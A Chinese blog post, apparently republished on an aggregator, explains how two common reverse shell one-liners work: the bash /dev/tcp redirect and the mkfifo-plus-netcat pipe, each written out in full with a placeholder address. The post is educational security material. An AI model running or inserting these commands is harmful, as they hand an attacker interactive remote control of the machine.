谈谈常用Reverse shell,以及他们是怎么做到的。

news2025/1/8 11:51:41

谈谈常用Reverse shell,以及他们是怎么做到的。

  • 前言
  • /bin/bash -i >& /dev/tcp/ip/port 0>&1
    • /bin/bash -i
    • >&
    • /dev/tcp
    • 0>&1
    • 结合起来
  • rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ip port >/tmp/f
    • rm /tmp/f
    • mkfifo /tmp/f
    • cat /tmp/f|/bin/bash -i 2>&1|nc ip port >/tmp/f
      • cat /tmp/f|/bin/bash -i 2>&1
      • /bin/bash -i 2>&1|nc ip port >/tmp/f
    • 结合起来


前言

平时经常会用到的几个reverse shell,有没有想过它们那么长一串是什么意思?有什么作用?来让我们看看他们是什么妖魔鬼怪。

/bin/bash -i >& /dev/tcp/ip/port 0>&1

拆分看看

/bin/bash -i

在这里插入图片描述
/bin/bash -i -i参数是表示interactive,意为可交互的shell。可交互即为一问一答,用户输入,shell执行;不可交互即为shell脚本,比如Poc.sh。如何区分?文件内输出$-查看bash所使用选项。
在这里插入图片描述
交互式 shell中输入$-查看bash所使用选项。
在这里插入图片描述

>&

在这里插入图片描述
先来回忆一下三个文件描述符:标准输入(0)、标准输出(1)、标准错误(2)。>&word&>word语义上和> word 2>&1一致,都是把标准错误和标准输出重定向到word中,只是写法不同,推荐第一种。
来看看第二种的具体含义。
在这里插入图片描述

额,看的头皮发麻。个人感觉就是解释上面的 &>>&为什么等同于> word 2>&1。首先大前提是我们不指定重定向标准输入(0)标准输出(1)标准错误(2)三个中的一个去使用>&,那么>&复制标准输出1,组成1>&.然后因为我们没有指定数字,>&这种用法就会出现重定向错误(2)2>&。根据文字描述先后顺序先复制标准输出1然后出现重定向错误2,也就是2>&1。这就解释了为什么>&等同于> word 2>&1

/dev/tcp

在这里插入图片描述
在这里插入图片描述
如果/dev/tcp/ip/port是一个有效的主机名/Internetl地址和端口/服务名称,bash会尝试打开对应的TCP套接字。

0>&1

当前目录有secret(无r权限)内容为“SECRET"和test(有r权限)内容为"TEST"的两个文件。

我想把secret内容写到content文件里该怎么办,使用`cat secret > content,因为secret没有r权限无法被打印出来并写入conten中。>默认会将标准输出重定向到某文件,所以cat secret > content等价于cat secret 1> content。
在这里插入图片描述

如果我想把无法写入content的文件原因也写进去怎么办。
cat secret > content 2>content,后面添上2>content将错误流也写入content中。
在这里插入图片描述

但是这种写法有一个问题cat secret > content 2>content,会开两个fd(文件描述符),fd之间可能会有资源竞争的问题,所以有了以&-结束的写法。这时候我们加入一个能读取的文件test。并将其一起写入content中。
在这里插入图片描述
使用&将标准输出和标准错误绑定在一起,而标准输出1本来就要被输入到content中,标准错误2和标准输出1绑定在一起都被输入到content中。

在这里插入图片描述
0>&1就是将标准输入和标准输出绑定在一起输入到前面要写入的地方。

结合起来

/bin/bash -i >& /dev/tcp/ip/port 0>&1
即为使用bash开启一个可交互的shell。
在这里插入图片描述

这个shell会通过TCP套接字将标准错误和标准输出重定向到目标。
在这里插入图片描述

目标又会通过套接字将标准输入和标准输出重定向回来替换标准输入0。
在这里插入图片描述

就是这么一个事情。

在这里插入图片描述

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ip port >/tmp/f

拆开看

rm /tmp/f

清除可能tmp原有的管道f,以及其他名字是f的文件。
在这里插入图片描述
在这里插入图片描述

mkfifo /tmp/f

在/tmp建立一个管道文件f,管道文件可以允许无关进程之间互相通信。创建完毕后通过O/I来操作,完事后要手动删除管道文件。
在这里插入图片描述

cat /tmp/f|/bin/bash -i 2>&1|nc ip port >/tmp/f

cat /tmp/f|/bin/bash -i 2>&1

将管道中的内容打印出作为/bin/bash -i 2>&1的标准输入(0)。+当前管道f内没有任何值。
在这里插入图片描述

/bin/bash -i 2>&1|nc ip port >/tmp/f

然后/bin/bash开启了一个可交互的shell,执行/tmp/f中的命令后将标准输出(1)和标准错误(2)重定向到了nc连接的主机端口中。此时反弹放处于挂起,
在这里插入图片描述
然后将我们的输入通过nc建立的通道写入f文件完成一次闭环。

结合起来

删除/tmp/f创建一个管道文件f。
在这里插入图片描述

将f文件里的值作为bash的输入,并以可交互的模式将标准错误和标准输出作为nc的输入。
在这里插入图片描述
nc连接上ip port后将前面的标准错误和标准输出通过nc传给ip port。
在这里插入图片描述
最后ip port通过nc将要执行的下一条命令覆盖写入f中。
在这里插入图片描述
然后形成闭环,是不是很简单呢。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/482955.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【五一创作】【记录】ChatGPT|图片预览魔法咒语魔改,使用 ChatGPT 返回大量可以跳转的链接

很早的时候,我已经留意到 ChatGPT 会以返回图片的 markdown 格式来显示图片,很可能拥有一定的图片上传功能,但是它往往会显示得有些问题。一些代码图片之类的或者风景图什么的都不是很会。 但其实 ChatGPT 是可以直接返回图片类型的回复的&a…

ES6 基础复习

变量声明 变量可能具有的特性 块级作用域,变量提升(变量声明之前使用该变量),全局属性,重复声明,暂时性死区(变量声明之前的区域无法使用该变量),初始值设置&#xff0…

Doris(23):Doris的函数—字符串函数

1 append_trailing_char_if_absent(VARCHAR str, VARCHAR trailing_char) 如果s字符串非空并且末尾不包含c字符,则将c字符附加到末尾。 trailing_char只包含一个字符,如果包含多个字符,将返回NULL select append_trailing_char_if_absent(a,c);select append_trailing_cha…

企业级信息系统开发讲课笔记3.4 基于Java配置类SSM框架西蒙购物网

文章目录 零、本节学习目标一、网站功能需求二、网站设计思路(一)设计模式(二)网站前台(三)网站后台1、用户管理2、类别管理3、商品管理4、订单管理 (四)购物流程图 三、网站运行效果…

PowerJob服务端部署

本文来编写一个简单的实例来说下SpringBoot整合PowerJob 文章目录 相关文档快速开始初始化项目启动服务端启动服务注册应用 相关文档 PowerJob是一个定时任务中间件(框架),优点很多,PowerJob官网的对比图中可以看到PowerJob比Quar…

如何减少电路中传导噪声

从传导噪声的起源,可以看出可以通过减少器件噪声或周围环境的干扰来降低传导噪声对电路的影响。但在某些场合我们需要特定的器件,同时要求在特定场景下工作。举个例子:在电气隔离系统中,我们需要对电源进行隔离,而 DC/…

堆的基本操作,堆排序(C语言实现)初始化,插入,删除,销毁,排序

文章目录 前言一、堆的基本变量二、堆的基本操作2.1堆的初始化(HeapInit)2.2堆的销毁(HeapDestroy)2.3向上调整(AdjustUp)2.4向下调整(AdjustDown)2.45堆是否为空(HeapEm…

JAVA springboot创业实践学分管理系统idea开发mysql数据库web结构计算机java编程MVC

一、源码特点 idea springboot创业实践学分管理系统是一套完善的web设计系统mysql数据库MVC模式开发,对理解JSP java编程开发语言有帮助,系统具有完整的源代码和数据库,系统主要采用B/S模式 开发。 JAVA springboot创业实践学分管理系统ide…

英语语法第一章之英语语法综述

英语的任何句型基本都可以翻译成 什么怎么样 ,在这里什么就是我们常说的主语,而怎么样就是我们常说的谓语; 可能有些小伙伴会反问,不是主谓宾吗?别急等我慢慢讲解 在这里谓语也有很有多的不同的动作 可以独立完成的动作 句型&am…

交叉编译eigen 到hi3559

3559操作自记录 0502 ubuntu 操作日志 sudo apt-get install cmake-qt-gui whereis aarch64-himix100-linux-gcc aarch64-himix100-linux-gcc: /opt/hisi-linux/x86-arm/aarch64-himix100-linux/bin/aarch64-himix100-linux-gcc 然后把同级的gnu放进来了,然后confi…

Packet Tracer - 交换机端口安全故障排除

Packet Tracer - 交换机端口安全故障排除 场景 通常使用 PC1 的员工将家里的笔记本电脑带来,然后断开 PC1 的连接并将笔记本电脑连接到电信插座。 在提醒此安全策略不支持在网络上使用个人设备后,您必须重新连接 PC1 并重新启用端口。 拓扑图 要求 …

菜鸡shader:L1基于兰伯特原理的玉石材质

这里就简单说下原理吧,使用unity很久之前的一个插件shaderforge,最近几年好像在unity资源商店已经不再维护了,但是有shader forge的官网:在这,碰到节点不会的时候可以查一下官方文档,还是很方便的&#xff…

方舟开服教程——开服服务器配置选择及租用建议指导

目前方舟开服有以下服务器模式可以选择: 1、自己家里的设备或物理机放家里开 2、自己购服务器设备托管到机房 3、租独立物理机 4、租虚拟机 5、租云服务器 6、淘宝面板服 配置如何选择 一般每一个地图4G可以运行(使用内存清理压缩内存但会性能损失容易卡…

【工具使用】STM32CubeMX-Uart配置 及 数据收发功能实现

一、概述 无论是新手还是大佬,基于STM32单片机的开发,使用STM32CubeMX都是可以极大提升开发效率的,并且其界面化的开发,也大大降低了新手对STM32单片机的开发门槛。     本文主要讲述STM32芯片的Uart的配置及其相关知识。Uart…

Ubuntu使用gzip与bzip2与rar和tar压缩解压

目录 1、gzip压缩解压 2、bzip2压缩解压 3、rar压缩解压 tar归档压缩与解压包 1、gzip压缩解压 因为都是系统自带的我们不需要安装; ls 看一下目录当前的文件,创建一个 touch 123.txt 文件; gzip 进行压缩,(“ …

【BMS】电池能量管理:充电管理

🔋 电池包能量管理:充电管理 🔋 一、通信 充电是一个过程,需要电池包和充电器间进行频繁的通信,以保证电池安全和寿命。由于通信速率要求不高,以及精简接口的考虑,通常采用GPIO自定义单线通信…

Redis高级——批处理优化

2、批处理优化 2.1、Pipeline 2.1.1、我们的客户端与redis服务器是这样交互的 单个命令的执行流程 N条命令的执行流程 redis处理指令是很快的,主要花费的时候在于网络传输。于是乎很容易想到将多条指令批量的传输给redis 2.1.2、MSet Redis提供了很多Mxxx这样的…

【vueCms】vueCms_xg后台管理系统(开源)

我的开源项目地址:vueCms_xg 🎮在线体验 开发文档:制作中后台地址:vueCms_xg(域名审核中) ⚡️ 简介 一个开箱即用,前端基于 vite 2 vue 3 typeScript element Plus pinia vue-router 4 的PC端项目模板。 后端由nestjs构…

浅谈osgViewer::StatsHandler、osg::Stats类的用法

目录 1. 前言 2. osgViewer::StatsHandler 2.1. 功能与用法说明 2.2. 主要接口说明 3. osg::Stats 1. 前言 osg为视景器的使用和调试提供了丰富的辅助组件,它们主要是以osg::ViewerBase的成员变量或交互事件处理器(osgGA::GUIEventHandler)的形式出现。osgView…

Linux线程:死锁

1. 死锁 (1)概念 死锁(DeadLock)指两个或两个以上的进程或线程执行时,由于竞争临界资源而造成阻塞的现象;若不干涉,则无法推进下去。 (2)死锁的原因 ① 竞争临界资源…